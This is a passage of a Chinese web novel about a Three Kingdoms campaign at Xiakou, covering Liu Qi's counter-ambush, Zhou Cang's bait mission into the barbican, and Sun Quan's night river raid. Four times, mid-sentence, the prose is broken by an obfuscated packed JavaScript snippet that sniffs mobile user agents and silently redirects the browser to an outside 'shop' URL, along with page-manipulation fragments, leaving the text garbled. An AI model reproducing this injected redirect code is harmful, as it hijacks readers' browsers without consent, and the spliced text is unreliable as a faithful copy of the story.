诸葛亮会意点头:“主公此计甚妙。让黄盖亲眼见到王朗、宋濂出兵,必以为我军已中计,待他们转入山林埋伏,正好可以截击来袭的江东主力。” 刘琦闻言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695000|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中露出赞许之色: “孔明果然一点就透,立时便领会了其中关窍。” 接着刘琦转向黄忠,语气凌厉:“汉升,着你率本部精锐埋伏在左营附近。一旦黄盖所部有异动,立即将其斩杀!” “黄盖虽说是诈降,但其部下大多被蒙在鼓里,都以为自己是真心归降。” “只要速斩黄盖,那些不明真相的士卒见主将突然反复,必会茫然无措。” “届时你立即宣布黄盖降而复叛,只诛黄盖,这些士卒定不敢轻举妄动!” 黄忠会意抱拳:“末将明白!。” 刘琦又对陈应下令:“着你部襄阳锐士明日入夜后甲不离身,刀不离手,若有变故,务必护住中军不乱。” “诺!”陈应抱拳应道。 最后,刘琦唤来赵云:“子龙,你麾下骑兵现在有多少可用?” 赵云躬身回禀:“回主公,末将本部百余骑,另从军中滇马中精选出百余匹,共得二百余骑。虽不及北方战马雄健,但已堪一战。” “好!” 刘琦目光灼灼,“待江东大军来袭,黄盖伏诛,王朗、宋濂二部截断后路,敌军必乱。届时你率这两百精骑直取敌中军,执行斩首之策!” 闻言,赵云却略显迟疑:“主公,末将的职责是护卫中军......” 刘琦摆手打断:“有陈应五千襄阳锐士在,中军稳如泰山。况且——” 刘琦意味深长地看了赵云一眼,“骑兵突袭贵在猝不及防,待敌阵大乱,你便直插中军黄罗伞盖,我相信以子龙之勇,足以在万军之中取敌将首级。” 赵云闻言,眼中闪过一丝感动,当即单膝跪地:“云,定不辱命!” “此外!” 刘琦最后补充道,“传令砲军,明日入夜后将**砲秘密转移至右营。既要设伏,就要做得天衣无缝。” 待众将领命而去,大帐内重归寂静。 刘琦缓步走到帐门前,掀开帘幕,望向远处夏口城头隐约的灯火。 低声自语道:“周瑜,明日便见分晓。” 与此同时,夏口城头。 孙权独立在女墙边,手指无意识地摩挲着腰间古锭刀的刀鞘。 这是兄长孙策的遗物,此时冰冷的触感却让孙权心头的热血更加沸腾。 江风猎猎,吹动孙权衣袍翻卷不休。 孙权望着远处那片灯火零星、似乎毫无防备的荆州大营,眼中燃烧着的是无尽的野望。 “刘琦……明日,便是你的死期!此战之后,我看江东,谁还敢小觑我孙仲谋!” 而荆州大营左营中,黄盖在自己的营帐内,轻轻擦拭着暗中藏匿的短刃,刀锋寒光凛冽。 黄盖望向中军大帐的方向,眼神复杂,有计成在即的兴奋,有对明日血战的决绝,也有一丝对族侄黄明和麾下儿郎命运的隐忧。“刘琦小儿,你的好日子,到头了!” 江风渐起,带着浓重的水汽和隐隐的血腥味,掠过夏口城与荆州大营之间那片即将化为修罗场的土地。 乌云缓缓遮蔽了残月,天地间一片肃杀。 决定江夏归属,乃至影响江东未来格局的决战,已进入最后的倒计时。 第72章 伏兵对伏兵,谁才是黄雀? 翌日,夜。 白日的喧嚣与砲石的轰鸣沉寂下去,白日的暑气渐渐**风吹散。 这个夜晚,日月无光,浓墨般的黑暗笼罩着夏口。 时近亥时(晚上九点到十一点),夜色已深,正是人困马乏之时。 夏口水门处,几条沉重的铁链被无声无息地放下。 孙权亲率的万余江东精锐,如同暗流般悄无声息地通过水门,并潜伏于在城外的周瑜水寨之中。 整个过程异常安静,只有江水拍打船舷的细微声响,以及偶尔传来的、被军官低声压抑的呵斥。 这沉沉的黑夜,此时成了孙权最好的掩护,夜色不仅遮蔽了天地,也暂时屏蔽了刘琦设置在望江岭上荆州哨所的监视。 而此处水域仍在江东水军的掌控之下,荆州斥候的轻舟快船难以渗透,确保了孙权此次行动的隐蔽与安全。 而孙权潜伏在这座水寨,在既能确保孙权此次行动的隐蔽,又能在时机到来时,借助寨中战船沿江而上迅速扑向荆州大营。 待万余精锐尽数进入水寨潜伏好后,孙权一身戎装,按剑立于一艘战舰船头。 孙权望着望江岭的方向,尽管在浓夜里根本看不见其轮廓,但孙权眼中却依旧闪过一丝愤懑。 每次大规模军事行动都要像做贼一样,都要等着入夜后偷偷摸摸进行,让孙权心中很是不爽。” 而这一切,在孙权看来,都要怪那该死的望江岭,以及那个叛投刘琦后、据说正亲自驻守在上面的叛将宋濂! 正是此人像眼睛一样时刻盯着夏口的一举一动。 “哼!” 孙权冷哼一声,握紧了古锭刀的刀柄,“待今夜踏破刘琦大营,明日我定要亲上望江岭,活捉宋濂此獠!定要将此獠千刀万剐,方泄我心头之恨!” 身后侍立的韩当、潘璋等将校感受到主公话语中那几乎凝成实质的杀意,皆屏息垂首,不敢多言。 “主公,各部已按计划进入预定位置潜伏完毕。”韩当压低声音禀报。 闻言孙权强行压下翻腾的怒火与憋屈,目光冰冷看向荆州大营。 个人的荣辱暂且放下,孙权只等,只等北门瓮城处杀声一起,便立即挥军突袭荆州左营,与黄盖里应外合,建立不世之功! “传令下去,全军噤声,耐心待机!” “诺!” 孙权身后众将齐声应道。 而与此同时,荆州大营,中军帐内,灯火通明。 刘琦正对着沙盘做最后的推演,诸葛亮与庞统分立两侧。 他们早已料定周瑜必有后手,江东大军今夜必定来袭。 只是不知来的会是孙权,更不知孙权已经率领万余精锐已经悄然潜伏在水寨之中,只待时机到来。 “孔明!” 刘琦抬头看向诸葛亮,“王朗、宋濂二部可已埋伏到位?” 诸葛亮轻摇羽扇:“半个时辰前已传来讯号,两部皆已隐蔽妥当,只待江东主力来袭,便可断其归路。” 庞统嘿嘿一笑,那略显滑稽的脸上满是算计得逞的快意:“周瑜此刻,怕是还在做着瓮中捉鳖的美梦呢!” 刘琦满意地点点头,正欲再说,却见诸葛亮眉头微蹙,目光再次落向沙盘上象征夏口北门的那块木牌,沉吟不语。 刘琦见诸葛亮神色有异,心头顿时一凛。 作为穿越者,刘琦太了解眼前这位羽扇纶巾的军师了。 后世史书典籍中关于诸葛亮算无遗策、一生唯谨慎能让诸葛亮这般欲言又止的,必定是发现了什么重大疏漏。 是以,刘琦当即坐直身子,语气凝重地追问:“孔明,还有何不妥?” 诸葛亮羽扇轻点夏口北门的位置,声音沉静:“主公,此计有一处关窍,我等险些疏忽。” “还请孔明细言!” 刘琦连忙说道。 “主公,亮方才细思,发现我等在排兵布阵时,忽略了一个至关重要的环节——我们只安排了伏兵,却忘了派那支必须前去''中计''的偏师。” 诸葛亮见刘琦神色一凛,继续清晰地说道: “主公令王朗、宋濂二部转入山林设伏,此计甚妙,然则,周瑜在北门张网以待,等的便是我军偏师入城。若子时一到,北门外空无一人...” 诸葛亮的话音微微一顿,才缓缓道出后果:“周瑜见无人入彀,立时便会明白此计已泄。届时非但不会按计划发动袭营,只怕黄盖在左营也会立即蛰伏。我等布下的所有后手,便将尽数落空。” 诸葛亮这番话,如同冷水浇头,瞬间点醒了沉浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随后刘琦将眼前困境坦然相告,最后道:“...情况便是如此,需一员大将,率数千兵马,于子时前往北门,入城着周瑜的瓮中捉鳖之计,但此去凶险异常,可谓九死一生。琦...不强令任何人前往。” 刘琦说完,帐内众将校有人下意识地避开了他的目光,有人喉结滚动,有人则握紧了拳,指节泛白。 刘琦目光扫过众将复杂的脸色,缓缓道:“有谁...愿往?” 第73章 谁敢送死?莽汉周仓站出来了! “有谁...愿往?” 刘琦二次询问的话音落下,帐内陷入了比方才更加深沉的寂静。 空气仿佛凝固,时间的流逝也变得粘稠而缓慢。 荆州一众将校皆垂首不语,唯有粗重的呼吸声此起彼伏。 谁都知道,这支偏师的任务不是破敌,而是去当诱饵,主动踏进周瑜精心准备的伏击圈。 能否生还,全看天意,甚至可以说,生还的希望极其渺茫。 众将面面相觑,脸上都浮现出挣扎之色。 他们不怕死,征战沙场,马革裹尸是寻常事。但这样明知是火坑,还要主动往里跳,任务核心就是“去送死”以成全大局,这需要的不只是勇气,更是近乎殉道般的决绝。 就在这令人窒息的寂静中,刘琦目光缓缓扫过一众垂首的将领,心中已然明了,刘琦的心,也一点点沉了下去。 刘琦能理解,正因理解,才更觉无力。 于是,刘琦只能准备亲自点将,但却在这时... 一个粗豪却带着一丝不易察觉颤抖的声音,自帐末响起: “主……主公!俺周仓……愿往!” 刷的一下,帐内所有人的目光都循声望去,聚焦在了末首的黑脸虬髯壮汉身上。 只见周仓猛地踏前一步,因为激动,黑脸涨得发紫,虬髯贲张,一双虎目圆睁,抱拳的双手因用力而骨节发白,既已开口,便再无回头路,周仓此刻反倒将一切杂念抛诸脑后,心中只剩下一往无前的决绝。 “主公,周仓愿往!” 周仓这一声应答斩钉截铁,再不见半分犹豫,他环视帐中诸将,黑脸上竟泛起几分豁出去的快意。 周仓此刻内心翻江倒海,他本是卧牛山草寇,虽仗着有些勇力,带着几百弟兄来投看似威风,实则在这讲究出身、看重军功的荆州军体系中,妥妥异类一个。 周仓能感觉到,除了赵云,帐中这些正儿八经的将领,看他的眼神总带着若有若无的疏离和审视。 赵云凭一身超凡武艺,瞬间折服黄忠,赢得满帐敬重,被主公委以重任。 而他周仓呢?寸功未立,能站在这里恐怕也蹭了随赵云来投的光。 周仓虽出身草莽,但却也有封侯拜将的野望。 周仓不甘永远只是个区区军侯,更不愿被人视为是靠着赵云的关系才在军中立足。 周仓想要凭手中长刀,为自己和八百弟兄搏个前程,更要让所有人都看看,他周仓不是只会逞凶斗狠的匪首,而是能堪大用的将才! 而眼下这九死一生的任务,既是危机,更是周仓唯一能抓住的,打破隔阂,真正融入这个团体,赢得尊重的机会! 刘琦闻言猛地抬头,眼中闪过一丝难以置信的惊诧,随即化为动容,紧紧盯住出列的黑脸壮汉。 周仓声音洪亮,带着破釜沉舟的决绝。 “俺周仓,本是草莽一个!” “蒙主公不弃,收留俺和八百弟兄,恩同再造!俺没啥大本事,就有一条烂命!” “今日,正是俺报效主公之时!这差事,俺接了!请主公拨给俺些兵马,纵使是龙潭虎穴俺也不惧,也敢为主公闯上一闯!” 周仓这番话说得直白粗粝,却带着一股子撼人心魄的真诚与血性。 瞬间,一股热流涌上刘琦心头,刘琦快步走下主位,来到周仓面前,一把握住他粗糙的大手,声音竟有些哽咽:“周军候……你……你可知此去……” “主公!” 周仓打断刘琦,目光坚定,“俺知道!不就是个死嘛!脑袋掉了不就是碗大个疤,俺周仓不怕!” “就请主公给俺这个立功的机会,让俺和弟兄们,也尝尝为咱荆州军拼命的滋味!” 这一刻,帐中诸将无不动容,先前那点因出身而存的芥蒂,在周仓这慨然赴死的壮烈面前,瞬间烟消云散。 刘琦重重一拍周仓的肩膀,不再多言,一切尽在不言中。 “好!周仓听令!” “末将在!” “与你本部八百锐士,再拨予你黄祖旧部及安陆世家兵三千,共四千兵马!” “而你的任务就是进入后,不惜一切代价,抢占并守住城门区域,至少两个时辰!” 两个时辰,就是四个小时。 在敌军精心布置的陷阱中,面对数倍于己甚至更多的伏兵,坚守四个小时,这几乎是一个不可能完成的任务。 刘琦此举,已是将周仓部当成了死士在用,但也给周仓做了承诺。 刘琦盯着周仓的眼睛,一字一句道:“两个时辰!无论江东是否有大军来袭,我必亲率大军,踏破北门,前来接应!” “周仓,你给我记住,活着回来!此战若成,你为首功!我亲自为你,为你麾下所有将士,向朝廷请功!” “仓,领命!纵战至最后一兵一卒,流尽最后一滴血,也绝不负主公重托!两个时辰,城门必在俺手!” 周仓重重抱拳,转身就要离去准备。 “且慢!” 刘琦突然唤住周仓,快步走到案前,亲手斟满一碗酒,双手捧到周仓面前。 “壮哉周仓!真义士也!” “这碗酒,我为你践行!此去凶险,务必珍重。两个时辰后,我希望能亲眼看见你凯旋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16702986|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 周仓双手接过酒碗,虎目含泪: “主公厚恩,仓万死难报!” 两人举碗相视,一饮而尽。 刘琦这番举动,既是真心被周仓的忠勇所动,也是刻意笼络人心。 这一碗践行酒,足以让周仓这样重义气的汉子誓死效忠。 饮罢,周仓抹去嘴角酒渍,抱拳道:“主公保重,仓去也!” 周仓转身大步出帐,甲胄铿锵。 刘琦目送他离去,脸上的悲戚逐渐收敛,取而代之的是冰冷的决断: “传令各部,按预定计划行动!” “诺!” 帐内众将校齐齐应道。 时间很快,转瞬便子时将至。 夏口城内,都督府临时的指挥处,周瑜裹着大氅,苍白的脸上因兴奋泛起一丝病态的红晕。 亲卫刚刚来报,北门外已见敌**把如龙。 “果然来了……” 周瑜深吸一口气,压抑住喉间的痒意,眼中锐光一闪,对身旁传令官沉声道,“传令各伏击点,依计行事!待敌军过半入瓮,即刻落下闸门,**手先行覆盖,**盾阵随后压上!务必将其主力绞杀在瓮城之内,不得使其靠近内城门半步!” “是!” 与此同时,夏口北门外。 周仓顶盔贯甲,手持大刀,一马当先。 他身后,是四千沉默的兵马,其中大部分士兵并不知道,他们正在走向一个精心布置的死亡陷阱。 周仓队伍刚刚抵达夏口北门外,城门楼上便传来一声压低的呼喊:“可是黄公覆将军派来的兵马?” 周仓按刀上前,沉声回应:“俺乃周仓,奉黄老将军与主公之命,前来受降!城上何人?” 随着周仓问话间,城门应声开启一道缝隙,数名身着江东军服校尉打扮的人快步走出,为首一人朝着周仓拱手,语气带着几分刻意表现的急切与恭敬: “周将军!末将乃是黄老将军旧部张南,奉将军密令在此接应!今夜北门守卒皆是我等心腹,已清除异己,特献城门以迎王师!将军速速入城,迟恐生变啊!” 这张南自然是周瑜安排的演员,一番说辞旨在取信周仓,诱其快速全军入瓮。 周仓看着对方那恰到好处的谄媚与惊慌,心中明镜似的,面上却露出赞许与急迫:“好!张校尉深明大义,此战当记你首功!事不宜迟,前头带路!” “将军请随我来!”张南侧身让开通道,指向那洞开的、幽暗如巨兽之口的城门。 周仓深吸一口气,朝着那幽深的门洞低吼: “兄弟们!随俺——进城!” 第74章 瓮城血战!周仓绝境! 周仓深吸一口气,朝着那幽深的门洞低吼: “兄弟们!随俺——进城!” 说完周仓一马当先,率领前军快步穿过护城河吊桥,进入城门甬道。 而一进入瓮城范围,周仓眼中精光一闪,突然出手如电,一把扣住身侧的张南手腕,同时大刀已架在其颈侧。 “张校尉....”周仓声音低沉却充满了威胁之意。 “为确保万全,还请委屈片刻,待俺控制住城门要地,再与你把酒言欢!” 张南猝不及防,脸上那谄媚的笑容瞬间僵住,转为惊惧,刚想张嘴喊呐,就被周仓的亲兵一把捂住嘴巴,呜呜叫的被拖到一旁看管起来。 与此同时,周仓低声下令:“前营左部,立即接管城门及绞盘!” “右部,登城控制两侧马面!后营迅速跟进,沿瓮城内墙布防!动作要快!” 古代城池防御体系中,城门、绞盘和马面(城墙外侧突出的墩台)都是关键要害。 而周仓入城立即就控制这些要地,本是军事常识,所以周仓的这些举动并没有让在瓮城墙头上观看的周瑜等人生疑。 瓮城高高的城墙上,周瑜凭栏而立,将下方周仓的调度尽收眼底。 见周仓一入城就迅速分兵控制要害,周瑜微微颔首,苍白的脸上露出一丝淡淡的赞赏。 “这员荆州将领倒是知兵,行事颇为谨慎。” 周瑜扶着女墙轻声评价,语气中并没有因为周仓的举动而感到意外。 “可惜...”周瑜微微摇头,没有再说下去,但语气中的那份若有似无的惋惜之意,却被身后的吕范听出来了。 于是吕范略一迟疑,上前半步低声道:“都督若觉得可惜,待会要不要让**手留些分寸?留其性命,若能生擒,或可劝降...” 但周瑜轻轻摇头,目光依旧落在城门下指挥士卒抢占城墙周仓的身影上,声音平静无波:“两军交战,各为其主。此人确是良将之材,然则...主公大业为重,岂能因一人而废全局?” 周瑜顿了顿,语气转冷:“传令各部,全力剿杀,不必留手,若他命不该绝,自能在乱军中活下来——届时再谈招降不迟。” “诺!” 吕范闻言默然应道。 就在周瑜命令下达的瞬间—— 周仓的部队刚刚控制住城门区域,后续部队尚有半数未及入城时,异变突生! “轰隆——!” 一声震耳欲聋的巨响,猛地从后方城门处传来! 那扇刚刚被周仓部下接手的厚重闸门,竟以万钧之势轰然落下,溅起漫天烟尘,瞬间将城内外的荆州军斩为两截! 这声巨响,也如同重锤般狠狠砸在周仓的心头! 周仓猛地回头,只见退路已断,城外传来震天的喊杀声,显然留下的后军已遭突袭。 闸门落下的烟尘尚未散尽,周仓目光如电,飞速扫过己方阵中,约有近两千兵马被关在了这瓮城之内。 “不要慌!” “不要慌!” “前营稳住城门洞!后营变圆阵!盾牌手向外,**突前,**手上弦!” 周仓声如洪钟,在混乱中竭力维持着秩序,以及指挥已经进入慌乱之中的士卒。 然而周仓心里清楚,这四千兵马中大半都是临时拨付的世家部曲,彼此间素无统属,此刻骤遇变故,军心已然动摇。 方才那番号令,在这等乱局下能起几分作用,连周仓自己都不敢确定。 这些世家部曲原本以为真是来接收城池的,此刻突然陷入重围,顿时阵脚大乱,有人惊慌四顾寻找主将,有人下意识地向后缩挤想去抬起厚重的闸门,甚至有人与相邻队伍因推搡而起了口角,场面混乱不堪,各级军官虽在竭力弹压,但收效甚微。 事已至此,周仓也顾不得这许多了。 周仓目光一厉,转向始终紧随身后的那八百卧牛山旧部,这些弟兄虽然也都是面露惊惶,但听到周仓的号令后,立马就聚拢过来。 “弟兄们,跟俺去夺绞盘室!”周仓大喝一声,提刀便冲向闸门旁的阶梯。 阶梯狭窄而陡峭,头顶是不断射下的冷箭,身旁是不断倒下的弟兄。 尽管如此,周仓也只能硬着头皮带着弟兄们往上涌,该因周仓深知困守瓮城中就是等死。 内城墙上必然密布**手,留在原地只会被当成活靶子。 而夺取绞盘室,一则可尝试打开生路,二则即便一时无法绞盘室,也可以在城墙上占据一席之地,虽然说情况好不到哪里去,但总好过在瓮城空地上被动挨打强。 而周仓身旁这八百人都是跟随周仓多年的匪寇,此时虽也慌乱,但对周仓的命令却是比较信服的。 是以,此刻见首领身先士卒,当即鼓起勇气紧随其后。 就在周仓冲上城墙瞬间,瓮城城头上箭如雨下,密集的箭矢带着凄厉的破空声倾泻而至。 刚刚勉强结阵的世家部曲顿时惨叫声四起,阵型再度陷入混乱。 而周仓带着八百老弟兄刚冲上外城墙,就听着城外震天的喊杀声。 周仓抽空往城外一瞥一眼,心头顿时一沉。 只见被截留在城外的两千部曲已乱作一团,被一支江东精锐杀得节节败退。 为首那员江东将领手持长刀,在阵中左冲右突,所向披靡,每次挥刀都带起一片血雨。 “好厉害的江东将领!”周仓暗惊,但此刻周仓却也无暇他顾了。 此刻城墙上已有数百名江东守军闻讯赶来,呐喊着向他们杀来。 “不要恋战!跟俺往绞盘室冲!” 周仓大喝,手中大刀横扫,当即劈翻两个冲在最前的江东士卒。 周仓且战且进,目光在城墙上急速搜寻绞盘室。 而周仓身后的八百老匪虽然慌乱,但在周仓身先士卒的激励下,也都鼓起血勇,结成战阵向前推进。 周仓一边与江东士卒厮杀,一边敏锐地察觉到,虽然身处绝境,但实际承受的压力似乎并没有想象中那么大。 周仓原本以为,周瑜既然设下如此陷阱,必然在瓮城内外布下了天罗地网,兵力定然数倍于己,务求一击必杀。 而城墙上的敌军虽然数量远多于他们,但与之厮杀起来,周仓却敏锐地感觉到这些士卒缺了精锐应有的那股狠厉劲儿——刀法松散,配合生疏,更像是寻常的守城士卒。 而正因如此,周仓与八百老弟兄才能凭着那股不要命的悍勇,硬生生在敌群中杀出一条血路,一步步逼近绞盘室。 周仓的感觉没错。周瑜的算计虽妙,但手中的兵力分配却有其极限。 周瑜派蒋钦率两千精锐在城外伏击被闸门隔断的荆州后军,自己身边又必须留下数百亲卫作为指挥中枢和预备队,真正留在瓮城及周边城墙负责瓮中捉鳖的江东士卒,实际也只有两千余人。 若不是周仓的部队中大半是临时拨付的世家部曲,骤然遇伏后自乱阵脚,这四千人若是指挥得当,完全有能力与周瑜的伏兵一较高下。 周瑜立于瓮城城楼,见此原本平静的神色终于泛起一丝波澜。 周瑜望着在己方士卒中左冲右突的黑脸汉子,眉头微蹙。 “倒是小瞧了这员莽将。” 周瑜轻声道,语气中带着几分意外,“不想这困兽之斗,竟有如此威势。” 周瑜确实没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707191|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到,这支由降卒和世家部曲拼凑的部队中,竟藏着这样一支悍不畏死的精锐。 更没想到这黑脸将领在绝境中非但没有溃逃,反而精准地找到了战局的关键——绞盘室。 周瑜略一沉吟,当即决断:“吕范。” “末将在!”吕范应声出列。 “你从围剿世家部曲的人马中抽调五百人,再带三百亲卫过去,务必拦住他们,绝不能让他们靠近绞盘室半步。” “都督,那瓮城中的敌军...”闻言,吕范略有迟疑。 周瑜目光扫过瓮城内仍在各自为战、乱作一团的世家部曲,嘴角掠过一丝讥诮:“乌合之众,不足为虑,让他们多活片刻也无妨。” 在周瑜这等名将眼中,那千余世家部曲虽人数不少,但各自为战,指挥混乱,早已形不成有效抵抗。 与其在他们身上浪费兵力时间,不如集中力量先歼灭周仓这支能造成威胁的精锐。 “末将领命!” 闻言,吕范不在迟疑,当即抱拳领命。 随后立即点齐兵马,带着八百生力军直扑周仓所在的位置。 此刻周仓正杀得兴起,忽然感觉到压力骤增。 抬眼望去,只见一员江东将领率领数百装备精良的甲士迎面杀来,后方更有数百敌军从下方向包抄而来。 “**,援兵来了!” 周仓啐了一口血水,眼中却毫无惧色,“弟兄们,跟他们拼了!” 八百老匪齐声怒吼,尽管人人带伤,却无一人后退。 双方在狭窄的城墙上展开更加惨烈的搏杀,刀剑相击的铿锵声、利刃入肉的闷响、垂死的惨嚎与疯狂的喊杀声混杂在一起,每时每刻都有生命在消逝。 吕范并未亲自上前与周仓搏杀,而是稳居阵后,冷静地指挥着麾下三百着甲亲兵:“左翼压上,**列阵!右翼迂回,截断其后路!弓手占据高处,瞄准那个黑脸贼首!” 周仓顿时感到压力倍增。 这些新来的江东兵明显精锐许多,甲胄坚固,配合默契,在吕范的指挥下如同一个整体,从多个方向向周仓压迫而来。 周仓挥舞大刀奋力砍翻一个冲上来的敌兵,却被另外两支**逼得后退半步。 “结圆阵!不要被他们分割开!” 见凑到绞盘室无望后,周仓当即怒吼,仅剩的七百老匪立即收缩阵型,背靠背抵御着来自四面八方的攻击。 但吕范指挥的精锐士卒如同潮水般一波波涌来,不断消耗着他们的体力和生命。 就在周仓在城墙上陷入苦战之际,城外水寨中,韩当与潘璋二人正在船头来回踱步,不时焦灼地望向北门方向。 “怎么还没动静?” 潘璋忍不住低声道,“这都过了子时了。” 韩当也是眉头紧锁,环抱的双臂不自觉地绷紧:“莫非出了什么变故...” 就在二人忧心忡忡之际,一直静立船首的孙权突然抬手示意: “噤声!” 孙权微微侧首,凝神细听。 韩当、潘璋立即屏住呼吸,连江风拂过旌旗的声响都变得格外清晰。 就在这片刻的寂静中,北门方向终于传来了隐约的厮杀声。 虽然隔着数里之遥,但那刀剑相击与喊杀声,在寂静的夜里依然依稀可辨。 “时机到了!” 孙权眼中精光一闪,霍然起身。 铮地拔出古锭刀,刀锋直指荆州左营:“传令全军——突击!” “诺!” 韩当,潘璋二人齐应道。 战鼓擂响,万余名江东精锐如离弦之箭般从水寨中杀出。 孙权一马当先立于船首,猩红披风在江风中猎猎作响。 第75章 夜袭?不,刘琦的完美陷阱罢了! 孙权一马当先立于船首,猩红披风在江风中猎猎作响。 孙权刻意压低了声音,命令在舰队中口口相传:“保持肃静!桨橹入水要轻!没有我的命令,不许举火,不许呐喊!” 这片水域虽在江东水师的控制下,但万余人如此大规模的行动,距离荆州大营又如此之近,任何大的动静都可能引起荆州巡哨的警觉。 刘琦的大营扎在夏口城西门外那片背靠丘陵、南临长江的广阔空地上。 若从正面(即北岸近岸水域)接近,虽然能极大地缩短时间,抵达黄盖所在的左营,发起突袭,但却也极易被荆州巡哨发现。 而为了不被荆州巡哨发现,孙权选择的进军路线极为刁钻。 孙权利用夜色和己方对这段江面的控制权,船队紧贴长江南岸进行一段迂回。 广阔的江面是最好的掩护,黑夜与距离能最大程度隐藏船队的行踪。 孙权的计划是,悄无声息地绕到荆州大营的侧后方,也就是其靠近长江的上游方向登陆,然后借助岸边林木的掩护,突然出现在黄盖所在的荆州左营侧翼,与黄盖里应外合,对刘琦施展致命一击。 载着万余江东精锐的庞大船队,在孙权的命令下没有举火,唯有孙权所在的主舰舰首悬着一盏昏黄的羊皮灯笼为引路灯,在漆黑的江面上如同一点微弱的萤火。 整支舰队紧贴着南岸的阴影,在黑暗中沉默地向西然后折向北,逆着江水缓缓上行。 船桨入水的声音被压到最低,只有江水拍打船身的细微声响连绵不绝。 孙权双手死死抓住冰冷的船舷,指节因用力而泛白。 心中不住祈祷:“但愿刘琦和那些荆州斥候的注意力,都被公瑾在北门弄出的动静给牢牢吸住了……让我能神不知鬼不觉地摸到荆州大营身后!” 与此同时,荆州大营,中军望楼。 刘琦、诸葛亮、庞统三人凭栏而立,夜风吹动他们的衣袍。 三人的目光都望向夏口城北门方向——那里,隐约的火光在黑暗中跃动,以及厮杀声顺着江风隐隐传来。 “主公,看北门火光与厮杀之声的规模,周仓已入城,这出戏的开场锣鼓已经敲响了。”诸葛亮轻摇羽扇,淡淡道。 刘琦淡然应了一声,随即转头,将目光投向营寨南面那片被黑夜笼罩的长江。 刘琦虽然没有收到斥候关于江东大军动向的准确汇报,但以刘琦对周边地形了解的程度来说,敌军想要偷袭,唯一的路径就只有走水路。 夏口西门正对着荆州大营,视野开阔,毫无遮蔽,从那里出来偷袭,跟强袭有何区别? 而江东想要达到一个出其不意攻其不备的效果唯有选择就是仗着夜色和对这段江面的控制,紧贴着南岸,逆流迂回,想绕到我大营侧后,寻一处林木茂密之处登岸,再悄无声息地摸到左营,与那黄盖‘里应外合’。 “他们必定以为此计甚妙,却不知每一步都在我等预料之中。” 刘琦冷哼一声。 “我甚至无需派出斥候冒险探查,也能断定他们必在江津渡一带登陆——那里滩平林密,距我左营最近,正是偷袭的绝佳地点!” 诸葛亮闻言,轻摇的羽扇微微一顿,与身旁的庞统交换了一个心照不宣的眼神,抚掌轻叹道:“主公洞若观火,竟与亮推算的一般无二,这江津渡,确是彼辈必经之路。” 庞统那张丑脸上也露出钦佩之色,接口道:“统与孔明此前推演时,亦断定敌军若来,必选此地登陆。如今主公一眼看破,可谓英雄所见略同。王朗、宋濂两部伏兵早已就位,此刻怕是正等着给他们一个惊喜呢。” 诸葛亮颔首,羽扇遥指黑暗中的江岸方向,语气从容:“万事俱备,只待东风。今夜,便让江东见识见识,何谓真正的瓮中捉鳖。” 刘琦被这两位当世顶尖谋士这般称赞,饶是刘琦在后世经历过大风大浪心性沉稳,嘴角也不由自主地微微上扬。 “二位先生过誉了,琦不过是据常理推断罢了。” 刘琦随即神色一正,目光转向侍立一旁的传令兵,声音恢复了平日的沉稳: “传令黄忠,左营按预定方案准备,一旦察觉敌军自江津渡方向来袭,稍作抵抗便佯装不支,诱其深入。务必让江东军觉得,他们里应外合之计已然得逞。” “诺!” 传令兵抱拳领命,快步离去。 而荆州大营左营内,黄盖独立在自己的营帐中,帐内只点了一盏昏黄的油灯。 黄盖轻轻抚摸着案几上甲胄,冰冷的触感让他纷乱的心绪稍稍平静。 今夜便是检验他潜伏多日成果之时! 对刘琦的愤恨在黄盖胸膛翻涌,多日隐忍的**、被封忠义校尉的刻意羞辱,此刻尽数化作破釜沉舟的决绝。 这时,身着甲胄的黄明快步走进帐内,低声道:“叔父,已经联络好了。” 黄盖系紧胸甲束带,头也不回地问道:“能随我等起事的,有多少人?” 侍立一旁的黄明立即回禀:“已联络妥当的,约百余名老弟兄。” “只是...” 黄明略一迟疑,“叔父,百人是否太少了?” 闻言,黄盖系胸甲束带的手略微停顿了一下,随后斩钉截铁道,“百人足矣!” “待火起时,这百人便是燎原星火。” 黄盖麾下虽有千余部曲,但诈降之事关系重大,为防走漏风声,黄盖只与最核心的十余名老部曲透过底。 而其余部曲皆以为黄盖是真心归降刘琦。 此刻起事,黄盖正要靠这百人率先发难,制造混乱,届时不明真相的部曲见主将反正,多半会下意识跟随。 